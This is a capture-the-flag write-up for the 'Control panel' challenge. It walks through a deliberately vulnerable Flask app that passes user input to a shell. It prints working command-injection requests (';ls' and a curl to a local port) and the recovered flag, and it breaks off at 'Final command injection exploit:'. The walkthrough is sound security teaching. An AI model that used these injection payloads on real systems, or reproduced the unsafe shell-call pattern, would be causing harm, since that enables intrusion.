uscybergames
Control panel [150 pts]
Provided files: control-panel.zip
Description: Agent, we’ve identified what appears to be ARIA’s control panel. Luckily there’s no authentication required to interact with it. Can you take down ARIA once and for all?
We are presented with a website with source code. Let’s examine the main.py file
from flask import Flask, render_template, request
from subprocess import getoutput
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
command = request.args.get("command")
if not command:
return render_template("index.html")
arg = request.args.get("arg")
if not arg:
arg = ""
if command == "list_processes":
return getoutput("ps")
elif command == "list_connections":
return getoutput("netstat -tulpn")
elif command == "list_storage":
return getoutput("df -h")
elif command == "destroy_humans":
return getoutput("/www/destroy_humans.sh " + arg)
return render_template("index.html")
From this, we can see command injection within the second to last line
return getoutput("/www/destroy_humans.sh " + arg)
Command injection: occurs when an application passes unsafe user-supplied data to a system shell
In this case, the arg variable can be modified to allow shell commands to be ran on the website
We can test this by opening up burpsuite and passing this header:
GET /?command=destroy_humans&arg=;%20ls HTTP/1.1
Why the semicolon? This is used as a command separator. Semicolons in bash allows you to execute multiple commands in a single line. Without it, the input arg
would be treated as a parameter to destroy_humans.sh
, rather than a seperate command.
And it works! We are able to see the system files inside!
But where is the flag? If we examine the source code further, there is a file called destroyer.py
#!/usr/bin/env python3
import subprocess, json
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
def get_json(content):
return json.dumps(content).encode()
def http_server(host_port,content_type="application/json"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
def resp_ok():
self.send_response(200)
self.send_header("Content-type", content_type)
self.end_headers()
if self.path == '/status':
resp_ok()
self.wfile.write(get_json({'status': 'ready to destroy'}))
return
elif self.path == "/destroy":
resp_ok()
self.wfile.write(get_json({'status': "destruction complete!"}))
return
elif self.path == '/shutdown':
resp_ok()
self.wfile.write(get_json({'status': 'shutting down...'}))
self.wfile.write(get_json({'status': 'SIVBGR{no-flag-4-u}'}))
return
self.send_error(404, '404 not found')
def log_message(self, format, *args):
pass
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
http_server(('127.0.0.1',3000))
The file states that the endpoint /shutdown
will reply with a json reply of the flag
But how can we grab it? Simply visiting /shutdown via a browser will return a 404 not found.
We can use curl! Since we have command injection, if we pass curl and curl the endpoint from the server’s perspective, we can grab the flag
So, your command should look something like this
GET /?command=destroy_humans&arg=;%20curl%20-s%20localhost:3000/shutdown HTTP/1.1
Note: -s was supplied to prevent the server from replying with the download bar that curl usually outputs.
We need to supply url encoding inside of burpsuite. %20 represents a space.
Once ran, we get the flag!
Final flag: SIVBGR{g00dby3_ARI4}
Final command injection exploit: